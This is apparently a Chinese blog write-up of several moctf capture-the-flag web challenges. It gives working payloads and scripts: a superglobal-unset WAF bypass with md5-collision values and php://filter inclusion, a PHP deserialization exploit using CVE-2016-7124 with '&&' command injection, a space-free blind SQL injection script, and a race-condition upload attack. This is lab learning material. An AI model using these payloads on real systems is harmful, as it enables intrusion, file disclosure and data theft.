写在前面

闲来无事水一下moctf,大半都是抄别人的题解。嘻嘻

火眼金睛

被一堆的奇怪字符串给惊了

冷静其实就是统计出这堆字符串有多少个“moctf”。恰巧前两天python老师说了count这个函数。刚刚好用上!

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url ="http://119.23.73.3:5001/web10/"

mys = requests.session()

myd = mys.get(url).text

a = myd.count("moctf")-1

print a

data = {
"answer":a
}

url2 = "http://119.23.73.3:5001/web10/work.php"

print mys.post(url2,data=data).content

unset

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}

?>

这题有个CVE,在乌云库中可以找到

关键代码部分

1
2
3
4
5
6
7
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}

遍历用POST,GET,COOKIE方式传入的值,注意if($$_R),当$_R的值为GET的时候,$$_R=$_GET
这样就达到了遍历传入参数的目的。如果$$_GET的值和$_GET的值相等则删除掉$$_GET。假如$_GET=_GET
那么$$_GET=$_GET,这时候把就会把$_GET这个超全局变量给删除掉了。导致之后的if($_GET) extract($_GET, EXTR_SKIP);起不到作用。而且,由于之前的GET被删除了,从而使得后来初始化的GET绕过了waf

payload如下

1
2
3
http://119.23.73.3:5101/?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php
同时POST数据
_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

参照大佬的具体分析

1
2
3
4
5
6
7
8
9
果我们向1.php?x=1提交一个POST请求 内容为_GET[x]=1

因为?x=1 所以$_GET内容为 array('x'=>'1')

当开始遍历$_POST的时候 $__k是_GET[x] 所以$$__k 就是$_GET[x]也就是array('x'=>'1')

$__v是POST上来的一个数组 内容也是array('x'=>'1')

$$__k == $__v成立所以 我们的超全局变量 $_GET就这么华丽丽的被unset了

自己理解一下就是,GET方式传入了一个x=1然后POST方式传入了一个_GET[x]=1,遍历POST的时候$$_k=$_GET[x]=1,$_v=1所以满足于是$_GET就被删除掉了。

PUBG

扫描发现,index.php.bak和class.php.bak两个备份文件

class.php.bak文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

index.php.bak内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");

}
}
?>

也就是说LandIn值一定是school然后就是反序列化的利用。由于__wakeup()函数的初始化使得bag和 ​ weapon无法满足得到flag的需要

CVE:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

先序列化生成

1
O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}

然后对象数修改

1
O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}

于是就绕过了__wakeup(),下一步构造一个不存在的函数名使得Get_air_drops($b)该函数调用失败,从而调用__call($method,$parameters).为了使得if(file_exists(".//class$file[0].php"))条件满足,需要一个存在的文件名用来构造,题目里win.php应该是个提示。。然后利用&&进行连接命令进行代码执行。

最终payload

1
O:7:"sheldon":3:{s:3:"bag";s:24:"win.php && pwd &&php win";s:6:"weapon";s:3:"AWM";}

剩下的只要修改一下,找到flag文件的具体位置,cat一下就能拿到flag,就不赘述了。

简单注入

无空格盲注,并且过滤了注释符号,例如,#,/**/,于是利用and‘1闭合尾部的单引号。空格就利用括号来代替。过滤了<>无法利用二分法猜解数据库,却留下了一个=,还是超级长的表名,故意整做题人的耐心?????

最后!再次记录一次,没有空格逗号无法使用limit情况下,一定记得要用group_concat()

贴上别人的脚本,顺便学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string
urll = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘1"
f1 = requests.get(urll)
content = f1.content
s = string.printable
# for i in range(10):
# url = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘"+str(i)+""
# f = requests.get(url)
# if f.content != content:
# print f.content
# print i
url = "http://119.23.73.3:5004/?id=1"
def getData(url):
r = requests.get(url)
return r.text
def getTables():
tables = ‘‘
for i in range(50):
for j in s:
url2 = url + "‘and(select(hex(mid(group_concat(table_name)," + str(i+1) + ",1)))from(information_schema.tables)where(table_schema=database()))=‘" + (j).encode(‘hex‘)
#text = getData(url2)
f = requests.get(url2)
text = f.text

if ‘Hello‘ in text:
tables += j
#print j
#print tables
break
print tables

来不及解释了

首先打开这题的时候,没找到任何信息,仔细看才发现。。。默认访问的是index2.php

1541670721487

试着访问index.php

状态码是302。。。做了一个跳转。。但是提示了一个上传页面。

1541670848733

尝试Filename写成shell.php,内容填成<?php phpinfo() ?>如果上传漏洞存在的话,访问目标网页时要执行的。

1541671007702

得到了上传后文件保存的路径,去访问,却被告知too slow

1541671087611

到此,能够明显的辨别这是一个条件竞争的上传漏洞。只需要利用多线程快速发包并且快速访问就能在文件被删除前访问到。为了做到这点,可以写脚本或者使用BP,我选择后者。。。为啥?因为不会写脚本。。。。

1541674661696

设置好后疯狂发包。。然后手动疯狂F5刷新浏览器就能拿到flag~